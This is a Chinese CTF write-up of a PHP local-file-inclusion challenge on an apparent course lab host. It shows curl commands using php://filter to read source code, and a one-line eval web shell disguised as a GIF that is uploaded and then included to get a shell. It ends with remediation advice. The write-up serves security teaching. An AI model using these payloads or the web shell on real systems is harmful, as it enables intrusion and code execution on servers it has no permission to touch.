phpinclude 题解
考点
include参数可控导致任意文件包含(LFI)- 使用
php://filter伪协议读取 PHP 源码 - 弱文件上传校验与任意文件包含组合利用
0. 思路
f 参数被直接拼接到 include 中,没有任何过滤。使用 php://filter/convert.base64-encode/resource= 将 flag.php 的源码以 Base64 形式读出,再解码即可获得源码中的 flag。
不能直接 include flag.php,因为文件中只是给变量赋值,没有输出内容,include 后页面不会回显变量。
1. 入口
访问 index.php?f=upload.php,返回一个上传表单,提交到 file.php:
<form action="file.php" method="post" enctype="multipart/form-data">
上传点先放在一边,重点关注 f 参数。从参数命名来看,它很可能就是文件包含的入口。
2. 读取源码
include 进来的 PHP 文件会被执行,直接访问时看不到源码,因此套一层 Base64 过滤器:
$ curl -s 'http://sbus-023-phpinclude.zjusec.net/index.php?f=php://filter/convert.base64-encode/resource=index.php' | base64 -d
得到 index.php:
<?php
if(isset($_GET['f'])){
include $_GET['f'];
}else{
header("Location: index.php?f=upload.php");
}
?>
可以看到 f 被原样拼进 include,没有任何过滤。
再读取 file.php,关键代码如下:
<?php
$filetype=["jpg","gif","png","rar","zip"];
if ($_FILES["file"]["error"] > 0){
...
}else{
$file_type=explode(".",$_FILES["file"]["name"]);
if (in_array($file_type[count($file_type)-1],$filetype)){
...
$filename=date('Ymd').rand(100000,999999).".".$file_type[count($file_type)-1];
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
...
这里只校验文件名最后一个点之后的扩展名是否在白名单中,不检查文件内容。因此可以上传一个图片马,再通过 include 包含 upload/ 目录中的文件,进而 getshell。
3. 读取 flag
直接读取 flag.php 的源码:
$ curl -s 'http://sbus-023-phpinclude.zjusec.net/index.php?f=php://filter/convert.base64-encode/resource=flag.php' | base64 -d
4. 另一种思路:上传图片马 getshell
上传点只检查最后一个扩展名,不检查文件内容。因此,内容为 PHP 代码的 .jpg 文件也可以通过校验。这里顺手加上 GIF89a 图片头:
$ printf 'GIF89a\n<?php @eval($_POST["a"]) ?>' > shell.jpg
$ curl -F 'file=@shell.jpg' http://sbus-023-phpinclude.zjusec.net/file.php
Stored in: upload/20260905568363.jpg
文件名由日期和随机数组成,好在服务端会直接回显保存路径。
使用中国蚁剑连接:

进入 shell 后执行 cat flag.php,即可拿到 flag:

5. 总结
include参数可控会导致任意文件包含。- 想读取 PHP 源码,必须使用
php://filter/convert.base64-encode/resource=xxx.php包一层再解码;直接 include 只会把文件当作代码执行。 - 弱文件上传校验(只检查最后一个扩展名、不检查文件内容)与任意文件包含组合后,可以进一步 getshell。
修复建议:
- 对包含的文件名使用白名单或目录限定,不要直接拼接用户输入。
- 上传目录尽量设置为不可执行,并同时校验文件扩展名和实际内容。